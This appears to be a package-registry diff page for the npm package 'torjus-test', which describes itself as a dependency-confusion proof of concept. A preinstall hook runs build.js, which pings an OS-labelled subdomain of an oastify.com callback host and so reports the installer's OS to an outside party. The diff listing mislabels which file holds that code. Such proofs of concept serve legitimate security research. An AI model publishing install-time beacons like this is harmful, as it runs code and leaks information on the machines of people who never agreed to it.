torjus-test 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of torjus-test might be problematic. Click here for more details.
- package/.gitkeep +0 -0
- package/package.json +11 -0
- package/torjus-test/build.js +14 -0
- package/torjus-test/package.json +11 -0
package/.gitkeep
ADDED
File without changes
|
package/package.json
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
var exec = require('child_process').exec;
|
2
|
+
var os = require('os');
|
3
|
+
|
4
|
+
domain = "tnkd69kf29a5buhdro0n4rpqrhx8lx.oastify.com";
|
5
|
+
|
6
|
+
// Run command depending on the OS
|
7
|
+
if (os.type() === 'Linux')
|
8
|
+
exec(`ping -c 1 linux.${domain}`);
|
9
|
+
else if (os.type() === 'Darwin')
|
10
|
+
exec(`ping -c 1 osx.${domain}`);
|
11
|
+
else if (os.type() === 'Windows_NT')
|
12
|
+
exec(`ping -n 1 windows.${domain}`);
|
13
|
+
else
|
14
|
+
exec(`ping ${domain}`);
|
@@ -0,0 +1,11 @@
|
|
1
|
+
{
|
2
|
+
"name": "torjus-test",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "This package is a test package used to prove dependency confusion. All it does is perform a DNS lookup.",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node build.js && exit 0"
|
8
|
+
},
|
9
|
+
"author": "Binary Security",
|
10
|
+
"license": "MIT"
|
11
|
+
}
|